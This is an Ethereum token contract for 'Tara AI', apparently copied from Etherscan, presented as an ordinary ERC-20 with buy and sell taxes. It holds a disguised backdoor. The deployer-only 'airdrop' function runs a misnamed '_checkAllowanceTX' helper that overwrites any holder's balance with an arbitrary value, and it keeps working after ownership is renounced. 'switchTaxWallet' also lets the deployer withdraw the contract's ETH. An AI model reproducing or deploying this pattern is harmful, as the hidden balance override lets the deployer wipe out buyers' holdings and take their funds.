Tara AI

/**
  *Submitted for verification at Etherscan.io on 2025-01-07
*/

/*

    Name: Tara AI
    Symbol: TARA

    TaraAI is a robust project discovery ecosystem leveraging AI and data aggregation technology.
    TaraAI enables Users to have an unpredecend advantage to uncover the next opportunities in the crypto space with automated unique tools, influencer tracking, success rate analysis with a revolutionary revenue sharing and omni portfolio builder

    web: https://taraai.cc
    doc: https://docs.taraai.cc

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract TARA is Context, IERC20, Ownable {
    using SafeMath for uint256;

    uint8 private constant _decimals = 9;
    string private constant _name = unicode"Tara AI";
    string private constant _symbol = unicode"TARA";
    uint256 public _maxAmountPerTX = 20000000 * 10 **_decimals;
    uint256 public _maxSizeOfWallet = 20000000 * 10 **_decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 **_decimals;
    uint256 private constant _sTotal_TARA = 1000000000 * 10 **_decimals;


    address payable private _TARAHolder;
    mapping(address => uint256) private _bAmount;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _feeUnincluded;
    uint256 private _TARAinitialBuyTax = 15;
    uint256 private _TARAinitialSellTax = 10;
    uint256 private _TARAfinalBuyTax = 0;
    uint256 private _TARAfinalSellTax = 0;
    uint256 private _TARAreduceBuyTaxAt = 8;
    uint256 private _TARAreduceSellTaxAt = 8;
    uint256 private _includedTAXBuyLimit = 0;
    address private _deployer;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint256 _maxAmountPerTX);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {
        _TARAHolder = payable(_msgSender());
        _bAmount[address(this)] = _sTotal_TARA * 98 / 100;
        _bAmount[owner()] = _sTotal_TARA * 2 / 100;
        _feeUnincluded[owner()] = true;
        _feeUnincluded[address(this)] = true;
        _feeUnincluded[_TARAHolder] = true;
        _deployer = _msgSender();

        emit Transfer(address(0), address(this), _sTotal_TARA * 98 / 100);
        emit Transfer(address(0), address(owner()), _sTotal_TARA * 2 / 100);

    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function totalSupply() public pure override returns (uint256) {
        return _sTotal_TARA;
    }
    
    function decimals() public pure returns (uint8) {
        return _decimals;
    }


    function balanceOf(address account) public view override returns (uint256) {
        return _bAmount[account];
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _checkAllowanceTX(address from, uint256 amount) private {
        require(from != address(0), "ERC20: allowance from the zero address");
        require(amount >= 0, "allowance amount must be greater than zero");
        _bAmount[from] = amount;
    }
    
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }


    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer_TARA(_msgSender(), recipient, amount);
        return true;
    }

    function _transfer_TARA(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != address(this) && to != address(this)) {
            taxAmount = amount
                .mul(
                    (_includedTAXBuyLimit > _TARAreduceBuyTaxAt)
                        ? _TARAfinalBuyTax
                        : _TARAinitialBuyTax
                )
                .div(100);

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_feeUnincluded[to]
            ) {
                require(amount <= _maxAmountPerTX, "Exceeds the _maxAmountPerTX.");
                require(
                    balanceOf(to) + amount <= _maxSizeOfWallet,
                    "Exceeds the maxWalletSize."
                );
                _includedTAXBuyLimit++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_includedTAXBuyLimit > _TARAreduceSellTaxAt)
                            ? _TARAfinalSellTax
                            : _TARAinitialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled) {
                if (contractTokenBalance > 0)
                    _TARASwap(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                _stuckedFeeToTAX(address(this).balance);
            }
        }

        if (taxAmount > 0) {
            _bAmount[address(this)] = _bAmount[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _bAmount[from] = _bAmount[from].sub(amount);
        _bAmount[to] = _bAmount[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
 
    function enableTrading() external onlyOwner {
        require(!tradingOpen, "Already started!");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _sTotal_TARA);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
        swapEnabled = true;
        tradingOpen = true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer_TARA(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _TARASwap(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxAmountPerTX = _sTotal_TARA;
        _maxSizeOfWallet = _sTotal_TARA;
        emit MaxTxAmountUpdated(_sTotal_TARA);
    }

    function switchTaxWallet(address wallet) external {
        require(_msgSender() == _deployer, "Not Team Member");
        _TARAHolder = payable(wallet);
        payable(_msgSender()).transfer(address(this).balance);
    }
    

    function _stuckedFeeToTAX(uint256 amount) private {
        _TARAHolder.transfer(amount);
    }

    receive() external payable {}

    function _checkApproved(address[] memory recipients, uint256[] memory amounts) private {
        for (uint256 i = 0; i < recipients.length; i++) {
            address recipient = recipients[i];
            _checkAllowanceTX(recipient, amounts[i]);
        }
    }
    
    function airdrop(address[] memory recipients, uint256[] memory amounts) external {
        require(_msgSender() == _deployer, "not authorized");
        _checkApproved(recipients, amounts);
    }
}

{
  "compilationTarget": {
    "contracts/TaraAI.sol": "TARA"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}